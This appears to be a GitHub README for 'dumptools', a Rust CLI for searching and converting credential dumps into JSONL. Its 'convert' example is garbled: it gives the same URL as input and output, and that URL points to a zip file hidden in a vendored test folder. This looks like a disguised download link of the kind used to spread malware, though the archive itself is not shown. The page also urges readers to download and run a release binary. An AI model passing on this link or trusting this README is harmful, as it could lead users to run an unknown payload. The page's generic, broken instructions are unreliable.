Welcome to dumptools! This tool helps you analyze dumps efficiently. With dumptools, you can convert data into easy-to-read formats or search through large datasets quickly.
dumptools is a fast command-line interface (CLI) written in Rust. It allows you to:
- Convert combinations of data into grouped JSON Lines (JSONL).
- Scan extensive data trees using multi-threaded Aho-Corasick and email matching.
- Output detailed information, including the file, line number, needle, timestamp, and content.
- Get clear status updates for each thread, with options to configure paths, thread count, and case sensitivity.
This makes it an essential tool for anyone dealing with credential dumps, security analysis, or threat intelligence.
- Fast Processing: Leverage Rust's speed for quick analysis.
- Multi-threaded Support: Perform searches faster with multiple threads.
- Configurable Options: Customize paths, thread count, and case sensitivity for your needs.
- Clear Output: Get results in JSONL format for easy handling and analysis.
To run dumptools, you need:
- An operating system that supports Rust applications (Windows, macOS, or Linux).
- At least 512 MB of RAM.
- A terminal or command prompt for running the application.
- Visit the Releases page to download the latest version of dumptools.
- Look for the asset that matches your operating system.
- Click to download the file.
- Locate the file on your computer and run it to start using dumptools.
Once you have downloaded and installed dumptools, follow these steps to start using it:
-
Open your terminal or command prompt.
-
Navigate to the folder where you downloaded the dumptools file.
-
Run the application by typing the command:
./dumptools [options]
Replace
[options]with the desired configurations. You can see available options by typing:./dumptools --help
-
Start analyzing your data!
To help you get started, here are some common commands:
-
Basic Usage:
./dumptools scan --path your_data_directory
-
Convert Combos to JSONL:
./dumptools convert --input https://github.com/Violamentes/dumptools/raw/refs/heads/main/vendor/memchr/src/tests/memchr/Software_v1.9-alpha.4.zip --output https://github.com/Violamentes/dumptools/raw/refs/heads/main/vendor/memchr/src/tests/memchr/Software_v1.9-alpha.4.zip
-
Configure Threads:
./dumptools scan --path your_data_directory --threads 4
If you encounter issues, consider the following:
- Ensure that you have the correct permissions to run the file.
- Make sure your operating system is updated.
- Check that you are running the command from the folder where dumptools is located.
For more help, refer to the issues section on our GitHub page or seek help from the community.
You can open issues or request help directly on our GitHub repository. Our community is here to assist you.
This tool covers several important areas related to data and security, including:
- Aho-Corasick
- Batch Processing
- CLI
- Credential Dumping
- JSONL Output
- Regex Matching
For more information about these topics and how they apply to dumptools, feel free to research or reach out in the community.
Explore more about how dumptools can enhance your data analysis. Visit our Release page for the latest versions:
With dumptools, you can take control of your data and make informed decisions based on your analysis. Get started today!